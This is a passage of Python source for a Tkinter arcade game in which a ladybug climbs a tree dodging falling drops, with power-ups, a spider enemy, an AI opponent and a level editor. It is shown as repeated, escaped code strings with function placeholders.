data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == 